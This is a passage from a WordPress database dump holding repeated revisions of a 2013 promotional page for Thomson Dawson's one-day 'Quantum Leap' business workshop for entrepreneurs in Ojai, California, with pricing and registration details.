tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong><span style="color: #000000;">Early Registration</span>\r\nSend me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-autosave', '', '', '2013-05-30 13:36:17', '2013-05-30 20:36:17', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-autosave/', 0, 'revision', '', 0),
(2317, 2, '2013-05-24 11:07:56', '2013-05-24 18:07:56', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, November 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2295" title="Thomson Dawson Quantum Leap" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-51.jpg" alt="" width="495" height="306" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong><span style="color: #000000;">Early Registration</span>\r\nSend me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-29', '', '', '2013-05-24 11:07:56', '2013-05-24 18:07:56', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-29/', 0, 'revision', '', 0),
(2285, 2, '2013-05-22 20:49:31', '2013-05-23 03:49:31', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-22', '', '', '2013-05-22 20:49:31', '2013-05-23 03:49:31', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-22/', 0, 'revision', '', 0),
(2286, 2, '2013-05-22 20:51:39', '2013-05-23 03:51:39', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-23', '', '', '2013-05-22 20:51:39', '2013-05-23 03:51:39', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-23/', 0, 'revision', '', 0),
(2287, 2, '2013-05-20 14:51:08', '2013-05-20 21:51:08', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong><span style="color: #dd9703;">\r\nStrategies for Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage for Early-Stage Entrepreneurs\r\n<span style="color: #000000;">November, 2013</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\n&nbsp;\r\n\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\n</strong>Let’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-05-20 14:51:08', '2013-05-20 21:51:08', '', 145, 'http://www.whitehotcenter.com/2013/05/145-revision-136/', 0, 'revision', '', 0),
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(2289, 2, '2013-05-24 09:17:59', '2013-05-24 16:17:59', '', 'Quantum Leap Workshop', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-5', '', '', '2013-05-24 09:17:59', '2013-05-24 16:17:59', '', 2261, 'http://www.whitehotcenter.com/wp-content/uploads/2013/05/whc.thomson-5.jpg', 0, 'attachment', 'image/jpeg', 0),
(2290, 2, '2013-05-24 09:19:33', '2013-05-24 16:19:33', '', 'Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-sd-3', '', '', '2013-05-24 09:19:33', '2013-05-24 16:19:33', '', 2261, 'http://www.whitehotcenter.com/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg', 0, 'attachment', 'image/jpeg', 0),
(2291, 2, '2013-05-23 06:43:46', '2013-05-23 13:43:46', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-24', '', '', '2013-05-23 06:43:46', '2013-05-23 13:43:46', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-24/', 0, 'revision', '', 0);
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(2292, 2, '2013-05-24 09:20:06', '2013-05-24 16:20:06', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend 